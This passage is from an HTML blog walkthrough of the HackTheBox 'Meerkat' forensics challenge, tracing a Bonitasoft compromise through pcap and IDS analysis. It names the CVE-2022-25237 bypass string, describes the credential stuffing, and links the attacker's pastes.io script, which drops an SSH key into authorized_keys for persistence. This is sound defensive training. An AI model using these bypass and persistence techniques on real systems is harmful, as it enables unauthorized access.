&lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-we-believe-our-business-management-platform-server-has-been-compromised-please-can-you-confirm-the-name-of-the-application-running&#34;&gt;Question 1: We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?&#xA;&lt;/h3&gt;&lt;p&gt;First things first — let’s extract the challenge file using the provided password. Inside the archive, we’ll find two artifacts for analysis:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;meerkaat.pcap&lt;/code&gt;: a network packet capture file containing raw network data.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;meerkat-alerts.json&lt;/code&gt;: a JSON file with alert logs from an intrusion detection system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7101fffc12ce4255f26b0096a99afc5e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;450&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/7101fffc12ce4255f26b0096a99afc5e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We’ll start our investigation by leveraging &lt;a class=&#34;link&#34; href=&#34;https://www.brimdata.io/download/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Zui&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;formerly called Brim&lt;/em&gt;), which can display &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Suricata&lt;/em&gt;&lt;/a&gt; alerts already present in the challenge data.&lt;/p&gt;&#xA;&lt;p&gt;For our purposes, this means that we don’t need to review the second artifact separately because the &lt;em&gt;Suricata&lt;/em&gt; alert data is already embedded in the pcap and can be pulled out using &lt;em&gt;Brimcap&lt;/em&gt; queries. This makes it much easier to focus on the relevant details we need, including the application running on the web server.&lt;/p&gt;&#xA;&lt;p&gt;So, where to begin? The first step is to download, install, and open &lt;strong&gt;Zui&lt;/strong&gt; if you don’t already have it in your analysis environment. Once that’s done, you might notice the &lt;em&gt;Suricata&lt;/em&gt; queries aren’t readily available which was the case in my environment.&lt;/p&gt;&#xA;&lt;p&gt;To grab the queries I used in this walkthrough, visit the &lt;a class=&#34;link&#34; href=&#34;https://github.com/brimdata/brimcap&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brimcap GitHub&lt;/strong&gt;&lt;/a&gt; repository. While &lt;em&gt;Brimcap&lt;/em&gt; is bundled into the &lt;em&gt;Zui&lt;/em&gt; desktop app, I needed to follow the directions to install the &lt;em&gt;Brimcap&lt;/em&gt; queries:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Included in this repo is a &lt;code&gt;queries.json&lt;/code&gt; file with some helpful queries for getting started and exploring Zeek and Suricata analyzed data within the Zui app.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To import these queries:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Download the &lt;code&gt;[queries.json](https://github.com/brimdata/brimcap/blob/main/queries.json?raw=1)&lt;/code&gt; file to your local system&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In Zui, click the + menu in the upper-left corner of the app window and select Import Queries…&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Open the downloaded file in the file picker utility&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5dfdb21d2572d0eec08ec3a8810f331b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;680px&#34; data-flex-grow=&#34;283&#34; height=&#34;282&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/5dfdb21d2572d0eec08ec3a8810f331b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zui: Importing Brimcap Queries&lt;/p&gt;&#xA;&lt;p&gt;This gives us some extremely handy queries for analysis. If you haven’t already, load the &lt;code&gt;meerkaat.pcap&lt;/code&gt; file into &lt;em&gt;Zui&lt;/em&gt; so we can query the pool.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, use the new &lt;em&gt;Brimcap&lt;/em&gt; queries by selecting &lt;em&gt;Suricata Alerts by Signature&lt;/em&gt;. This provides a high-level view of all IDS rule hits detected in the traffic. One particular web application exploit is detected with four different rule sets, which strongly suggests this is the compromised web application.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9f7a4e54d68f21af657f44d3b93c5b4c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;488px&#34; data-flex-grow=&#34;203&#34; height=&#34;393&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/9f7a4e54d68f21af657f44d3b93c5b4c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zui: Identifying the web application through Suricata Alerts by Signature&lt;/p&gt;&#xA;&lt;p&gt;Then, a quick Google search for &lt;strong&gt;Bonitasoft&lt;/strong&gt; confirms it’s a business process automation application, consistent with the description in the scenario.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;690bcd1cd3b01a3e6a8924d3dbfc5022_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/690bcd1cd3b01a3e6a8924d3dbfc5022_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-we-believe-the-attacker-may-have-used-a-subset-of-the-brute-forcing-attack-categorywhat-is-the-name-of-the-attack-carriedout&#34;&gt;Question 2: We believe the attacker may have used a subset of the brute forcing attack category — what is the name of the attack carried out?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to identify the brute force attack method used by the attacker. While reviewing the &lt;em&gt;Suricata Alerts by Signature&lt;/em&gt; query in &lt;strong&gt;Zui&lt;/strong&gt;, you may have noticed the alert &lt;em&gt;ET INFO User-Agent (python-requests) Inbound to Webserver&lt;/em&gt; had a large number of hits. This likely correlates to the brute force activity.&lt;/p&gt;&#xA;&lt;p&gt;To dive deeper, let’s pivot to &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt; and load the &lt;code&gt;meerkaat.pcap&lt;/code&gt; file. This will allow us to inspect packet details and better understand how the attack was carried out.&lt;/p&gt;&#xA;&lt;p&gt;Once Wireshark is open:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click the magnifying glass icon to open the search tool.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Packet details&lt;/em&gt; and &lt;em&gt;String&lt;/em&gt; to narrow the search to strings within packet details.&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;code&gt;username&lt;/code&gt; in the search box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f1c8355401d4b6c406dfdf76bc98cbad_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/f1c8355401d4b6c406dfdf76bc98cbad_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Searching for the username string&lt;/p&gt;&#xA;&lt;p&gt;This helps us find packets where the username form item appears. The goal is to determine the method used for these requests and filter more granularly.&lt;/p&gt;&#xA;&lt;p&gt;Looking at the first hit, we see an HTTP POST request to the web server. Let’s apply a display filter to isolate these:&lt;/p&gt;&#xA;&lt;p&gt;http.request.method == &amp;ldquo;POST&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;df7fd59647d7c428a5d4bf2372319ef8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/df7fd59647d7c428a5d4bf2372319ef8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Confirming the User-Agent for the matching packets&lt;/p&gt;&#xA;&lt;p&gt;Now we can easily see dozens of login attempts using Forela account addresses. The user agent matches what we saw in &lt;em&gt;Zui&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;python-requests/2.28.1&lt;/p&gt;&#xA;&lt;p&gt;Based on this evidence, the attacker appears to be carrying out a &lt;strong&gt;credential stuffing attack&lt;/strong&gt; (&lt;em&gt;MITRE ATT&amp;amp;CK — T1110.004&lt;/em&gt;) by using multiple known usernames and passwords to gain access to target accounts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/004/&#34;  title=&#34;https://attack.mitre.org/techniques/T1110/004/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brute Force: Credential Stuffing&lt;/strong&gt;&#xA;_Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e75774e5e02c9c9b445ffbbcfb64d9ad_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/e75774e5e02c9c9b445ffbbcfb64d9ad_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-does-the-vulnerability-exploited-have-a-cve-assignedand-if-so-whichone&#34;&gt;Question 3: Does the vulnerability exploited have a CVE assigned — and if so, which one?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to identify the specific CVE for the exploited vulnerability. Fortunately, we already found a clue while reviewing the &lt;em&gt;Suricata Alerts by Signature&lt;/em&gt; in &lt;strong&gt;Zui&lt;/strong&gt;: &lt;em&gt;CVE-2022–25237&lt;/em&gt; associated with &lt;strong&gt;Bonitasoft&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;673a6401a66d0c4361e2b4b7ed383436_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;481px&#34; data-flex-grow=&#34;200&#34; height=&#34;399&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/673a6401a66d0c4361e2b4b7ed383436_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zui: Identifying the related CVE&lt;/p&gt;&#xA;&lt;p&gt;Let’s drill down on the details of this CVE by looking it up on &lt;strong&gt;CVEdetails&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/cve/CVE-2022-25237/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;https://www.cvedetails.com/cve/CVE-2022-25237/&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to the description:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bonita Web 2021.2 is affected by a authentication/authorization bypass vulnerability due to an overly broad exclude pattern used in the RestAPIAuthorizationFilter. By appending ;i18ntranslation or /../i18ntranslation/ to the end of a URL, users with no privileges can access privileged API endpoints. This can lead to remote code execution by abusing the privileged API actions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Keep this information in mind — it will be extremely helpful during the next few questions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;167551fd6e43f881f9df1772f09b55b2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/167551fd6e43f881f9df1772f09b55b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-string-was-appended-to-the-api-url-path-to-bypass-the-authorization-filter-by-the-attackers-exploit&#34;&gt;Question 4: Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit?&#xA;&lt;/h3&gt;&lt;p&gt;Now that our research uncovered how &lt;em&gt;CVE-2022–25237&lt;/em&gt; can be exploited, we already have the answer:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;By appending ;i18ntranslation or &lt;strong&gt;/../i18ntranslation/&lt;/strong&gt; to the end of a URL, users with no privileges can access privileged API endpoints.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let’s confirm this with our own dataset in &lt;em&gt;Wireshark&lt;/em&gt; by searching for &lt;code&gt;/api&lt;/code&gt; within the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d697ba79b192194bcd634d982d712fff_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;202&#34; height=&#34;396&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/d697ba79b192194bcd634d982d712fff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying API endpoints&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We’ve found the same string in our traffic that’s described in the CVE details.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c7c1d2a9705f330016181dd3d7a5c8e9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/c7c1d2a9705f330016181dd3d7a5c8e9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-how-many-combinations-of-usernames-and-passwords-were-used-in-the-credential-stuffingattack&#34;&gt;Question 5: How many combinations of usernames and passwords were used in the credential stuffing attack?&#xA;&lt;/h3&gt;&lt;p&gt;To answer this, we need to determine how many username/password combinations were attempted during the attack.&lt;/p&gt;&#xA;&lt;p&gt;One approach is to use a third tool: &lt;strong&gt;NetworkMiner&lt;/strong&gt;, which offers robust forensic capabilities, including easy parsing and display of credentials logged in the PCAP.&lt;/p&gt;&#xA;&lt;p&gt;There’s just one catch — we first need to convert the Wireshark PCAPNG file to PCAP before importing it into NetworkMiner. In &lt;strong&gt;Wireshark&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;File &amp;gt; Save As&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;code&gt;Wireshark/tcpdump/...-pcap&lt;/code&gt; option to create a copy in PCAP format&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now that we have the correct file type, launch &lt;strong&gt;NetworkMiner&lt;/strong&gt; and open the new PCAP file. Once it loads:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the &lt;em&gt;Credentials&lt;/em&gt; tab&lt;/li&gt;&#xA;&lt;li&gt;Uncheck &lt;em&gt;Show Cookies&lt;/em&gt; (we only want credential stuffing attempts, not session cookies)&lt;/li&gt;&#xA;&lt;li&gt;Focus on Forela domain email addresses with the MIME/MultiPart protocol&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cec661ea3aad799b4e5d3fbdbe23dae2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;393px&#34; data-flex-grow=&#34;163&#34; height=&#34;488&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/cec661ea3aad799b4e5d3fbdbe23dae2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Identifying credential pairs&lt;/p&gt;&#xA;&lt;p&gt;This gives us a clean list of all username/password combinations attempted in the traffic. After removing the &lt;code&gt;install&lt;/code&gt; user and one duplicate entry for &lt;code&gt;seb.broom&lt;/code&gt;, we’re left with 56 unique combinations.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3236b7f336ae91b7dbb71215adcb15a6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/3236b7f336ae91b7dbb71215adcb15a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-which-username-and-password-combination-was-successful&#34;&gt;Question 6: Which username and password combination was successful?&#xA;&lt;/h3&gt;&lt;p&gt;For illustrative purposes, let’s jump back to &lt;strong&gt;Wireshark&lt;/strong&gt; and apply an &lt;code&gt;http&lt;/code&gt; filter. This will make it easier to see HTTP requests and responses side by side. The idea is simple: look for where the status codes change from the HTTP &lt;code&gt;4XX&lt;/code&gt; range (failed requests) to the HTTP &lt;code&gt;2XX&lt;/code&gt; range (successful requests).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6103cfdb44540c2dbbe919870a8df7fa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;208&#34; height=&#34;383&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/6103cfdb44540c2dbbe919870a8df7fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Following the HTTP response trail&lt;/p&gt;&#xA;&lt;p&gt;Just like in the image above, you’ll notice the first successful response appears as an HTTP &lt;code&gt;204 No Content&lt;/code&gt;. Looking at the packets immediately below, you’ll see other &lt;code&gt;200 OK&lt;/code&gt; responses, so we know we’re in the right spot. At this point, all we need to do is right‑click the first of the &lt;em&gt;HTTP 200&lt;/em&gt; responses and select &lt;em&gt;Follow &amp;gt; HTTP Stream&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ac69f9578a029fa02bcd8e852a7ea2f9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;574px&#34; data-flex-grow=&#34;239&#34; height=&#34;334&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/ac69f9578a029fa02bcd8e852a7ea2f9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Uncovering the successful login credentials&lt;/p&gt;&#xA;&lt;p&gt;By correlating these successful responses and following the HTTP stream, we can determine that the account &lt;code&gt;seb.broom&lt;/code&gt; was the one that successfully authenticated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;653f17e92059afe15fd9c11009056755_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/653f17e92059afe15fd9c11009056755_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-if-any-which-text-sharing-site-did-the-attackerutilise&#34;&gt;Question 7: If any, which text sharing site did the attacker utilise?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, for &lt;strong&gt;Question 7&lt;/strong&gt; we need to determine if the attacker used any text-sharing site during the attack. For this, we’ll jump back to &lt;strong&gt;Zui&lt;/strong&gt; and use the &lt;em&gt;Unique DNS Queries&lt;/em&gt; filter.&lt;/p&gt;&#xA;&lt;p&gt;Selecting this option provides an easy-to-read list of all unique outbound DNS lookup queries in the PCAP. Among these, we see that &lt;strong&gt;pastes.io&lt;/strong&gt; was contacted. This is a text-pasting website, which fits perfectly with what we’re looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3fce3b4072de5c1bae5adff1c59479bb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;375px&#34; data-flex-grow=&#34;156&#34; height=&#34;511&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/3fce3b4072de5c1bae5adff1c59479bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zui: Identifying text sharing site in DNS queries&lt;/p&gt;&#xA;&lt;p&gt;In the next couple of questions, we’ll figure out how this service was leveraged in the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07b415cf8d768e05940c08e32e131e36_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/07b415cf8d768e05940c08e32e131e36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-8-9&#34;&gt;Questions 8 &amp;amp; 9&#xA;&lt;/h3&gt;&lt;h4 id=&#34;please-provide-the-filename-of-the-public-key-used-by-the-attacker-to-gain-persistence-on-ourhost&#34;&gt;Please provide the filename of the public key used by the attacker to gain persistence on our host.&#xA;&lt;/h4&gt;&lt;h4 id=&#34;question-9-can-you-confirm-the-file-modified-by-the-attacker-to-gain-persistence&#34;&gt;Question 9: Can you confirm the file modified by the attacker to gain persistence?&#xA;&lt;/h4&gt;&lt;p&gt;Now comes the fun part! To answer these, we’ll focus on identifying the full URI in &lt;strong&gt;Zui&lt;/strong&gt;, then pivot to a web browser to see what the attacker left behind.&lt;/p&gt;&#xA;&lt;p&gt;First, from the &lt;em&gt;pastes.io&lt;/em&gt; query in &lt;em&gt;Zui’s&lt;/em&gt; &lt;em&gt;Unique DNS Requests&lt;/em&gt; results, right-click the entry and select &lt;em&gt;New Search from Value&lt;/em&gt;. This adjusts the results to search for all traffic related to &lt;code&gt;pastes.io&lt;/code&gt; in the PCAP.&lt;/p&gt;&#xA;&lt;p&gt;Next, locate the line with the &lt;code&gt;http&lt;/code&gt; type and expand it. This reveals the full URI containing the domain:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ceaa54d2ac256f478dfd877becfa5e45_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;202&#34; height=&#34;396&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/ceaa54d2ac256f478dfd877becfa5e45_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zui: Identifying the pastes.io URI&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pastes.io/raw/bx5gcr0et8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://pastes.io/raw/bx5gcr0et8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the URL ready, open your browser and enter it into the address bar — and voila!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9441ab2ee583a3ebbe4337929adf9a75_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;461px&#34; data-flex-grow=&#34;192&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/9441ab2ee583a3ebbe4337929adf9a75_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The contents of the pastes.io URL from the pcap&lt;/p&gt;&#xA;&lt;p&gt;The contents of the paste show a command using &lt;code&gt;curl&lt;/code&gt; to download another file named:&lt;/p&gt;&#xA;&lt;p&gt;hffgra4unv&lt;/p&gt;&#xA;&lt;p&gt;The command saves the output into:&lt;/p&gt;&#xA;&lt;p&gt;/home/ubuntu/.ssh/authorized_keys&lt;/p&gt;&#xA;&lt;p&gt;This file stores SSH public keys, which means the attacker added their own key to gain persistent access to the host. Good find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c7f558aa6dde6ee405dd2edf6363fd90_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 